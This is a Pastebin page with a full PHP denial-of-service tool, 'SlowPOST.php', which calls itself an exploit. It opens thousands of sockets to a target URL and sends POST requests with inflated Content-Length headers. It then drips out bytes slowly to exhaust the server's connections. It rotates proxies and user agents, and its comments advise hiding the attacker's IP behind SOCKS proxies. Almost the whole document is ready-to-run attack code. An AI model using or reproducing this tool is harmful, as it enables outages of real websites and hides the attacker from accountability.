Advertisement
infodox

SlowPost PHP by NEC

Nov 30th, 2011
1,099
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.60 KB | None | 0 0
  1. <?php
  2. /**
  3.  * Exploit Title: SlowPOST.php - POST Denial-Of-Service [v0.8.2]
  4.  *
  5.  * Date:      18.05.2011
  6.  * Author:    NewEraCracker
  7.  * License:   Public Domain
  8.  *
  9.  * How to run:
  10.  * Step 1: Open comand line
  11.  * Step 2: php SlowPOST.php
  12.  *
  13.  * This exploit might expose your IP Address in server logs. Be aware.
  14.  * Obviously, using a list of SOCKS5 is a good idea so... #infodox
  15.  */
  16.  
  17. //-------------------------
  18. // INiT
  19. //-------------------------
  20.  
  21. // Define STDIN
  22. if( !defined("STDIN") )
  23. {
  24.     define( "STDIN", fopen('php://stdin','r') );
  25. }
  26.  
  27. // Define EXPLOIT_VERSION
  28. if( !defined("EXPLOIT_VERSION") )
  29. {
  30.     define( "EXPLOIT_VERSION", "v0.8.2" );
  31. }
  32.  
  33. // Check SAPI
  34. if(PHP_SAPI != 'cli')
  35. {
  36.     echo "This script isn\'t meant to be ran via browser";
  37.     exit(1);
  38. }
  39.  
  40. //-------------------------
  41. // FUNCTiONS
  42. //-------------------------
  43.  
  44. // Checks if url is valid and returns true or false
  45. function isValidTango($url)
  46. {
  47.     if ( strpos($url,'http://') === 0 ) return true;
  48.     return false;
  49. }
  50.  
  51. // Read STDIN and return it
  52. function readSTDIN()
  53. {
  54.     $file = STDIN;
  55.     if(!$file) return false;
  56.     $data = fgets($file);
  57.     return rtrim($data);
  58. }
  59.  
  60. // Receives a string and returns an array with url params
  61. function getParamsFromUrl($url)
  62. {
  63.     $url = explode('/',$url,4);
  64.     $url[2] = explode(':',$url[2],2);
  65.     $url[2][1] = isset($url[2][1]) ? $url[2][1] : 80;
  66.  
  67.     $host = $url[2][0];
  68.     $port = $url[2][1];
  69.     $path = isset($url[3]) ? $url[3] : "";
  70.  
  71.     unset($url);
  72.  
  73.     $url = array('host' => $host, 'port' => $port, 'path' => $path);   
  74.     return $url;
  75. }
  76.  
  77. // Receive a file, give a proxy (returns false on failure)
  78. function getRandomProxy($file)
  79. {
  80.     // Should work
  81.     $file = str_replace("\\","/",$file);
  82.  
  83.     // Test the file
  84.     if( !is_readable($file) ) return false;
  85.  
  86.     // Get the file with the proxies
  87.     $proxies = file_get_contents($file);
  88.  
  89.     // Be sure of the line endings
  90.     $proxies = str_replace( array("\r\n","\r"), "\n", $proxies);
  91.  
  92.     // Grab the proxies
  93.     $proxies = explode("\n",$proxies);
  94.     foreach($proxies as $key => $value)
  95.     {
  96.         $proxies[$key] = explode(":",$value);
  97.        
  98.         if( isset($proxies[$key][0]) && isset($proxies[$key][1]) )
  99.         {
  100.             // This allows me to get proxies from lists like
  101.             // IP:PORT bla bla bla
  102.             $proxies[$key][1] = explode(" ",$proxies[$key][1]);
  103.             $proxies[$key][1] = explode("\t",$proxies[$key][1][0]);
  104.             $proxies[$key][1] = $proxies[$key][1][0];
  105.  
  106.             // The proxy
  107.             $proxies[$key] = array('host' => $proxies[$key][0], 'port' => $proxies[$key][1]);
  108.         }
  109.         else
  110.         {
  111.             unset($proxies[$key]);
  112.         }
  113.     }
  114.     unset($key,$value);
  115.  
  116.     // Give a random proxy
  117.     $proxy = null;
  118.     if( count($proxies) )
  119.     {
  120.         while( !$proxy )
  121.         {
  122.             $rand  = mt_rand(0,count($proxies)-1);
  123.             $proxy = (isset($proxies[$rand]) ? $proxies[$rand] : null);
  124.         }
  125.     }
  126.  
  127.     // :D
  128.     if( !$proxy )
  129.         return false;
  130.     else
  131.     {
  132.         return $proxy;
  133.     }
  134. }
  135.  
  136. // Returns a random useragent
  137. function randomUserAgent()
  138. {
  139.     // Microsoft Windows versions
  140.     $os = array("5.0","5.1","6.0","6.1");
  141.  
  142.     // Select a random windows
  143.     $os = $os [ mt_rand(0,count($os)-1) ];
  144.  
  145.     // Select a random browser
  146.     if( mt_rand(0,1) )
  147.     {
  148.         // Internet Explorer versions
  149.         $ua[0] = array("4.0","7.0");
  150.         $ua[1] = array("4.0","8.0");
  151.         $ua[2] = array("5.0","9.0");
  152.  
  153.         // Random IE
  154.         $ua = $ua [ mt_rand(0,count($ua)-1) ];
  155.         return "Mozilla/{$ua[0]} (compatible; MSIE {$ua[1]}; Windows NT {$os}; Trident/{$ua[0]})";
  156.     }
  157.     else
  158.     {
  159.         // Mozilla Firefox languages
  160.         $lang = array("en-GB","en-US","es-ES","pt-BR","pt-PT","sv-SE");
  161.  
  162.         // Mozilla Firefox versions
  163.         $ua[0] = array("1.9.2.16","20110319","3.6.16");
  164.         $ua[1] = array("1.9.2.17","20110420","3.6.17");
  165.  
  166.         // Random FF
  167.         $ua = $ua [ mt_rand(0,count($ua)-1) ];
  168.         $lang = $lang [ mt_rand(0,count($lang)-1) ];
  169.         return "Mozilla/5.0 (Windows; U; Windows NT {$os}; {$lang}; rv:{$ua[0]}) Gecko/{$ua[1]} Firefox/{$ua[2]}";
  170.     }
  171. }
  172.  
  173. // Opens a custom socket and returns it
  174. function openCustomSocket($host,$port)
  175. {
  176.         $fp = @fsockopen($host, $port, $errno, $errstr, 1);
  177.         if (!$fp) return false;
  178.         stream_set_blocking($fp,0);
  179.         return $fp;
  180. }
  181.  
  182. // Receives a socket and performs the start of a slowPost'ing
  183. // Returns Content-Length on success and false on failure
  184. function slowPostStart($sock,$host,$port,$path)
  185. {
  186.     // Check the socket
  187.     if($sock)
  188.     {
  189.         // To fix Host header
  190.         $host = ($port==80) ? $host : $host.":".$port;
  191.  
  192.         // Generate a random Content-Length
  193.         $length = mt_rand(1337,31337);
  194.  
  195.         // Do it :D
  196.         $out  = "POST /{$path} HTTP/1.1\r\n";
  197.         $out .= "Host: {$host}\r\n";
  198.         $out .= "User-Agent: ".randomUserAgent()."\r\n";
  199.         $out .= "Accept: */*\r\n";
  200.         $out .= "Accept-Encoding: gzip,deflate\r\n";
  201.         $out .= "Keep-Alive: ".mt_rand(60,120)."\r\n";
  202.         $out .= "Connection: Keep-Alive\r\n";
  203.         $out .= "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
  204.         $out .= mt_rand(0,1) ? "Referer: http://{$host}/\r\n" : "";
  205.         $out .= "Content-Length: {$length}\r\n";
  206.         $out .= "\r\n";
  207.         @fwrite($sock, $out);
  208.         return $length;
  209.     }
  210.     else
  211.     {
  212.         return false;
  213.     }
  214. }
  215.  
  216. // Receives a socket and continues the slowPost'ing
  217. function slowPostContinue($sock,$bytes=5)
  218. {
  219.     // Check the $bytes
  220.     if( intval($bytes) != $bytes ) $bytes=5;
  221.  
  222.     // Check the socket
  223.     if($sock)
  224.     {
  225.         // Do it :D
  226.         $out = "";
  227.         for($j=0;$j<$bytes;$j++);
  228.         {
  229.             $out .= chr(mt_rand(33,126));
  230.         }
  231.         $out = urlencode($out);
  232.         @fwrite($sock, $out);
  233.         return true;
  234.     }
  235.     else
  236.         return false;
  237. }
  238.  
  239. //-------------------------
  240. // MAiN CODE
  241. //-------------------------
  242.  
  243. echo "
  244.     _______. __        ______   ____    __    ____
  245.    /       ||  |      /  __  \  \   \  /  \  /   /
  246.   |   (----`|  |     |  |  |  |  \   \/    \/   /
  247.    \   \    |  |     |  |  |  |   \            /
  248. .----)   |   |  `----.|  `--'  |    \    /\    /
  249. |_______/    |_______| \______/      \__/  \__/
  250.  
  251. .______     ______        _______.___________.
  252. |   _  \   /  __  \      /       |           |
  253. |  |_)  | |  |  |  |    |   (----`---|  |----`
  254. |   ___/  |  |  |  |     \   \       |  |
  255. |  |      |  `--'  | .----)   |      |  |
  256. | _|       \______/  |_______/       |__|
  257. ";
  258. echo PHP_EOL.EXPLOIT_VERSION." by NewEraCracker".PHP_EOL;
  259.  
  260. // Fetch the URL to attack
  261. $url = null;
  262. if( isset($_SERVER['argv'][1]) )
  263. {
  264.     $url = $_SERVER['argv'][1];
  265. }
  266. if ( !isValidTango($url) ) $url = null;
  267.  
  268. // Fetch proxy to use
  269. $proxy['host'] = null;
  270. $proxy['port'] = null;
  271. $proxy['file'] = false;
  272. if( !empty($url) && isset($_SERVER['argv'][2]) )
  273. {
  274.     if( $proxy = explode(":",$_SERVER['argv'][2]) )
  275.     {
  276.         if( isset($proxy[0]) && isset($proxy[1]) )
  277.         {
  278.             $proxy['host'] = $proxy[0];
  279.             $proxy['port'] = $proxy[1];
  280.             unset($proxy[0],$proxy[1]);
  281.         }
  282.     }
  283.     if( !( isset($proxy['host']) && isset($proxy['port']) ) && is_readable($_SERVER['argv'][2]) )
  284.     {
  285.         $proxy['file'] = true;
  286.         $proxy['filename'] = $_SERVER['argv'][2];
  287.     }
  288. }
  289.  
  290. // Ask for proxy
  291. if( empty($url) && ( empty($proxy['host']) || empty($proxy['port']) ) && !$proxy['file'] )
  292. {
  293.     $proxy['use'] = null;
  294.     while( !$proxy['use'] )
  295.     {
  296.         echo PHP_EOL."Do you want to use a proxy [yes/no/file]: ";
  297.         $proxy['use'] = readSTDIN();
  298.  
  299.         if( strpos(strtolower($proxy['use']),'y') === 0 )
  300.         {
  301.             echo PHP_EOL."Proxy IP: ";
  302.             $proxy['host'] = readSTDIN();
  303.             echo PHP_EOL."Proxy Port: ";
  304.             $proxy['port'] = readSTDIN();
  305.         }
  306.         elseif( strpos(strtolower($proxy['use']),'n') === 0 )
  307.         {
  308.             break;
  309.         }
  310.         elseif( strpos(strtolower($proxy['use']),'f') === 0 )
  311.         {
  312.             echo PHP_EOL."Proxy file: ";
  313.             $proxy['filename'] = readSTDIN();  
  314.  
  315.             if( is_readable($proxy['filename']) )
  316.             {
  317.                 $proxy['file'] = true;
  318.             }
  319.             else
  320.             {
  321.                 echo PHP_EOL."Invalid file!".PHP_EOL;  
  322.                 $proxy['use'] = null;
  323.             }
  324.         }
  325.         else
  326.         {
  327.             $proxy['use'] = null;
  328.             echo PHP_EOL."Invalid choice!".PHP_EOL;
  329.         }
  330.     }
  331.     unset($proxy['use']);
  332. }
  333.  
  334. // Ask for target URL
  335. while( !$url )
  336. {
  337.     echo PHP_EOL."Target url: ";
  338.     $url = readSTDIN();
  339.  
  340.     if( isValidTango($url) ) break;
  341.  
  342.     $url = null;
  343.     echo PHP_EOL."Invalid target!".PHP_EOL;
  344. }
  345.  
  346. // Init
  347. @ini_set("default_socket_timeout",1);
  348. $url = getParamsFromUrl($url);
  349. $proxy['host'] = (!$proxy['host']) ? $url['host'] : $proxy['host'];
  350. $proxy['port'] = (!$proxy['port']) ? $url['port'] : $proxy['port'];
  351. echo PHP_EOL."IMMA FIRIN MAH LAZOR!".PHP_EOL;
  352.  
  353. // Do it
  354. while(true)
  355. {
  356.     $fp = array();
  357.  
  358.     // Start
  359.     for($i=0;$i<5000;$i++)
  360.     {
  361.         // Using Proxy file?
  362.         if( $proxy['file'] )
  363.         {
  364.             $filename = $proxy['filename'];
  365.             $proxy = getRandomProxy($filename);
  366.             if(!$proxy)
  367.             {
  368.                 echo $filename." is not a valid proxy-list file!";
  369.                 exit(1);
  370.             }
  371.             $proxy['filename'] = $filename;
  372.         }
  373.    
  374.         // Open a new socket
  375.         if( $fp[$i]['sock'] = openCustomSocket($proxy['host'], $proxy['port']) )
  376.         {
  377.             // Progress bar?
  378.             echo '+';
  379.  
  380.             // Start a new slowPost
  381.             if( $_length = slowPostStart($fp[$i]['sock'], $url['host'], $url['port'], $url['path']))
  382.             {
  383.                 // Find the lenght
  384.                 if( !isset($fp[$i]['length']) )
  385.                 {
  386.                     $fp[$i]['length'] = $_length;
  387.                 }
  388.             }
  389.             else
  390.             {
  391.                 // Epic fail?
  392.                 @fclose($fp[$i]['sock']);
  393.                 unset($fp[$i]);
  394.             }
  395.         }
  396.         else
  397.         {
  398.             // Epic fail?
  399.             @fclose($fp[$i]['sock']);
  400.             unset($fp[$i]);
  401.         }
  402.  
  403.         // Check the current sockets
  404.         foreach($fp as $_k => $_v)
  405.         {
  406.             if($fp[$_k]['length'] > 0)
  407.             {
  408.                 // Contine old slowPosts
  409.                 $_length = ($fp[$_k]['length'] < 5) ? $fp[$_k]['length'] : 5;
  410.                 slowPostContinue($fp[$_k]['sock'],$_length);
  411.                 $fp[$_k]['length'] = $fp[$_k]['length']-$_length;
  412.             }
  413.             else
  414.             {
  415.                 // Close completed slowPosts
  416.                 @fclose($fp[$_k]['sock']);
  417.                 unset($fp[$_k]);
  418.             }
  419.         }
  420.         unset($_k,$_v);
  421.     }
  422.  
  423.     // Restart
  424.     foreach($fp as $_k => $_v)
  425.     {
  426.         @fclose($fp[$_k]['sock']);
  427.     }
  428. }
  429.  
  430.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement